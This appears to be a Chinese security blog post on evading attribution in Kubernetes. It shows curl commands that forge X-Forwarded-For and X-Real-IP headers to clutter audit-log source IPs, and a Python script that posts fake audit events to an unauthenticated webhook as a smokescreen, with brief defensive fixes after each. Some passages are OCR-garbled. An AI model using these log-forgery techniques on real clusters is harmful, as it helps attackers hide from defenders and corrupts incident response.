黑客在攻击k8s真的能溯源到吗?

一、混淆IP

1.1、两个可以伪造的header头

k8s日志会记录两个Header头的IP: X-Forwarded-For、X-Real-IP

这里伪造X-Forwarded-For头

curl --cert /root/.minikube/profiles/minikube/client.crt --key /root/.mini kube/profiles/minikube/client.key -X GET https://192.168.49.2:8443/api/v1/ pods -k -H 'User-Agent: ' -H 'X-Forwarded-For: 192.168.49.1, 192.168.49.2, 192.168.49.3, 192.168.49.4, 192.168.49.5, 192.168.49.6, 192.168.49.7, 192. 168.49.8, 192.168.49.9, 192.168.49.10, 192.168.49.11, 192.168.49.12, 192.1 68.49.13, 192.168.49.14, 192.168.49.15, 192.168.49.17, 192.168.49.18, 192. 168.49.19, 192.168.49.20, 192.168.49.21, 192.168.49.22, 192.168.49.23, 19 2.168.49.24, 192.168.49.25, 192.168.49.26, 192.168.49.27, 192.168.49.28, 1 92.168.49.29, 192.168.49.30, 192.168.49.31, 192.168.49.32, 192.168.49.33, 192.168.49.34, 192.168.49.35, 192.168.49.36, 192.168.49.37, 192.168.49.3 8, 192.168.49.39, 192.168.49.40, 192.168.49.41, 192.168.49.42, 192.168.49. 43, 192.168.49.44, 192.168.49.45, 192.168.49.46, 192.168.49.47, 192.168.4 9.48, 192.168.49.49, 192.168.49.50, 192.168.49.51, 192.168.49.52, 192.168. 49.53, 192.168.49.54, 192.168.49.55, 192.168.49.56, 192.168.49.57, 192.16 8.49.58, 192.168.49.59, 192.168.49.60, 192.168.49.61, 192.168.49.62, 192.1 68.49.63, 192.168.49.64, 192.168.49.65, 192.168.49.66, 192.168.49.67, 192. 168.49.68, 192.168.49.69, 192.168.49.70, 192.168.49.71, 192.168.49.72, 19 2.168.49.73, 192.168.49.74, 192.168.49.75, 192.168.49.76, 192.168.49.77, 1 92.168.49.78, 192.168.49.79, 192.168.49.80, 192.168.49.81, 192.168.49.82, 192.168.49.83, 192.168.49.84, 192.168.49.85, 192.168.49.86, 192.168.49.8 7, 192.168.49.88, 192.168.49.89, 192.168.49.90, 192.168.49.91, 192.168.49. 92, 192.168.49.93, 192.168.49.94, 192.168.49.95, 192.168.49.96, 192.168.4 9.97, 192.168.49.98, 192.168.49.99, 192.168.49.100, 192.168.49.101, 192.16 8.49.102, 192.168.49.103, 192.168.49.104, 192.168.49.105, 192.168.49.106, 192.168.49.107, 192.168.49.108, 192.168.49.109, 192.168.49.110, 192.168.4 9.111, 192.168.49.112, 192.168.49.113, 192.168.49.114, 192.168.49.115, 19 2.168.49.116, 192.168.49.117, 192.168.49.118, 192.168.49.119, 192.168.49.1 20, 192.168.49.121, 192.168.49.122, 192.168.49.123, 192.168.49.124, 192.16 8.49.125, 192.168.49.126, 192.168.49.127, 192.168.49.128, 192.168.49.129, 192.168.49.130, 192.168.49.131, 192.168.49.132, 192.168.49.133, 192.168.4 9.134, 192.168.49.135, 192.168.49.136, 192.168.49.137, 192.168.49.138, 19 2.168.49.139, 192.168.49.140, 192.168.49.141, 192.168.49.142, 192.168.49.1 43, 192.168.49.144, 192.168.49.145, 192.168.49.146, 192.168.49.147, 192.16 8.49.148, 192.168.49.149, 192.168.49.150, 192.168.49.151, 192.168.49.152, 192.168.49.153, 192.168.49.154, 192.168.49.155, 192.168.49.156, 192.168.4 9.157, 192.168.49.158, 192.168.49.159, 192.168.49.160, 192.168.49.161, 19

2.168.49.162, 192.168.49.163, 192.168.49.164, 192.168.49.165, 192.168.49.1 66, 192.168.49.167, 192.168.49.168, 192.168.49.169, 192.168.49.170, 192.16 8.49.171, 192.168.49.172, 192.168.49.173, 192.168.49.174, 192.168.49.175, 192.168.49.176, 192.168.49.177, 192.168.49.178, 192.168.49.179, 192.168.4 9.180, 192.168.49.181, 192.168.49.182, 192.168.49.183, 192.168.49.184, 19 2.168.49.185, 192.168.49.186, 192.168.49.187, 192.168.49.188, 192.168.49.1 89, 192.168.49.190, 192.168.49.191, 192.168.49.192, 192.168.49.193, 192.16 8.49.194, 192.168.49.195, 192.168.49.196, 192.168.49.197, 192.168.49.198, 192.168.49.199, 192.168.49.200, 192.168.49.201, 192.168.49.202, 192.168.4 9.203, 192.168.49.204, 192.168.49.205, 192.168.49.206, 192.168.49.207, 19 2.168.49.208, 192.168.49.209, 192.168.49.210, 192.168.49.211, 192.168.49.2 12, 192.168.49.213, 192.168.49.214, 192.168.49.215, 192.168.49.216, 192.16 8.49.217, 192.168.49.218, 192.168.49.219, 192.168.49.220, 192.168.49.221, 192.168.49.222, 192.168.49.223, 192.168.49.224, 192.168.49.225, 192.168.4 9.226, 192.168.49.227, 192.168.49.228, 192.168.49.229, 192.168.49.230, 19 2.168.49.231, 192.168.49.232, 192.168.49.233, 192.168.49.234, 192.168.49.2 35, 192.168.49.236, 192.168.49.237, 192.168.49.238, 192.168.49.239, 192.16 8.49.240, 192.168.49.241, 192.168.49.242, 192.168.49.243, 192.168.49.244, 192.168.49.245, 192.168.49.246, 192.168.49.247, 192.168.49.248, 192.168.4 9.249, 192.168.49.250, 192.168.49.251, 192.168.49.252, 192.168.49.253, 19 2.168.49.254'

```
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"level": "Metadata",
"auditID": "885a139f-0c15-4a42-82d5-7eff1a6d66b5",
"stage": "ResponseComplete",
"requestURI": "/api/v1/pods",
"verb": "list",
"user": {
  "username": "minikube-user",
  "groups": [
    "system:masters",
    "system:authenticated"
"sourceIPs": [
  "192.168.49.1"
  "192.168.49.2"
  "192.168.49.3"
  "192.168.49.4"
  "192.168.49.5"
  "192.168.49.6"
  "192.168.49.7"
  "192.168.49.8"
  "192.168.49.9"
  "192.168.49.10"
  "192.168.49.11"
  "192.168.49.12"
  "192.168.49.13"
  "192.168.49.14"
  "192.168.49.15"
  "192.168.49.17",
```

curl --cert /root/.minikube/profiles/minikube/client.crt --key /root/.mini kube/profiles/minikube/client.key -X GET https://192.168.49.2:8443/api/v1/ pods -k -H 'User-Agent: ' -H 'X-Real-IP: 192.168.49.2'

```
"auditID": "af54eb27-48a1-444b-8629-42482dd7cf6c",
"stage": "ResponseComplete",
"requestURI": "/api/v1/pods",
"verb": "list",
"user": {
   "username": "minikube-user",
  "groups": [
      "system:masters",
     "system:authenticated"
 'sourceIPs": [
  "192.168.49.2",
"192.168.49.1"
 objectker : {
  "resource": "pods",
  "apiVersion": "v1"
"responseStatus": {
   "metadata": {},
   "code": 200
},
"requestReceivedTimestamp": "2024-08-08T02:59:53.309945Z",
"2024-08-08T02:59:53.3128127".
"stageTimestamp": "2024-08-08T02:59:53.312812Z",
"annotations": {
   "authorization.k8s.io/decision": "allow",
  "authorization.k8s.io/reason": ""
```

1.2、如何解决?

k8s日志还是会记录到真实的ip,并且真实的ip总是在最后面(一开始以为会对ip进行排序,我尝试修改ip地址,无任何效果),所以防守方只要看最后的IP即可。

```
''192.168.49.242'
  "192.168.49.243"
  "192.168.49.244"
  "192.168.49.245"
  "192.168.49.246"
  "192.168.49.247"
  "192.168.49.248"
  "192.168.49.249"
  "192.168.49.250"
  "192.168.49.251"
  "192.168.49.252".
  "192.168.49.253",
  "192.168.49.254"
  "192.168.49.1"
objectкeт": {
 "resource": "pods",
 "apiVersion": "v1"
"responseStatus": {
  "metadata": {},
  "code": 200
"requestReceivedTimestamp": "2024-08-08T03:03:11.579485Z",
"stageTimestamp": "2024-08-08T03:03:11.582502Z",
"annotations": {
  "authorization.k8s.io/decision": "allow",
  "authorization.k8s.io/reason": ""
```

二、给webhook提交虚假数据

2.1、webhook地址没有鉴权

一般企业内部会有统一的k8s平台,一般也会配置一个统一的webhook地址,这个时候我们就可以进行混淆。

通过打印数据包,发现格式如下。

```
Insplication/joon, w/e) Accept-Encoding [grip] Content-Longits [45/379] Content-Type [septication/joon] User-Agent [66-http-client/l.]]

This "Second Content is a content of the content of the content is a content of the content of
```

如果被发现了就可以释放烟雾弹进行混淆。

```
import requests

test_str = """

{
    "kind": "EventList",
    "apiVersion": "audit.k8s.io/v1",
```

```
"metadata": {},
      "items": [
         {
            "level": "Metadata",
            "auditID": "415774d8-93ed-489c-alae-47fe6a501d37",
            "stage": "RequestReceived",
            "requestURI": "/api/v1/configmaps",
            "verb": "list",
            "user": {
                "username": "system:serviceaccount:default:lufeitest3",
                "uid": "178c3130-6925-4d81-8ce4-5d1cd61fd7f1",
                "groups": [
                    "system:serviceaccount:default",
                    "system:authenticated"
               ],
               "extra": {
                   "authentication.kubernetes.io/credential-id": [
                      "JTI=53561be6-c4c0-4cbe-9552-cf149868ce19"
                  ],
                   "authentication.kubernetes.io/node-name": [
                      "minikube"
                  ],
                   "authentication.kubernetes.io/node-uid": [
                      "1338157d-fe1d-445e-8700-60fb8eab6b34"
                  ],
                   "authentication.kubernetes.io/pod-name": [
                      "agones-controller-6b7f66b857-57ffx"
                   "authentication.kubernetes.io/pod-uid": [
                      "2506dfe0-8283-45c0-9507-1ff0cc686e87"
                   1
               }
            },
            "sourceIPs": [
                "10.244.0.89"
41
42
            ],
            "userAgent": "curl",
            "objectRef": {
               "resource": "leases",
                "namespace": "default",
47
                "name": "agones-controller-lock",
                "apiGroup": "coordination.k8s.io",
                "apiVersion": "v1"
            },
            "requestReceivedTimestamp": "2024-08-02T09:57:28.634829Z",
            "stageTimestamp": "2024-08-02T09:57:28.634829Z"
         }
54
      ]
   }
```

```
rsp = requests.post("http://127.0.0.1/", data=test_str,
headers={'Content-Type': 'application/json'})
print(rsp.text)
```

2.2、如何解决

- 1、可以随机url中的path,从而避免攻击者获知地址。
- 2、群友说可以做双向验证,暂时没有实践。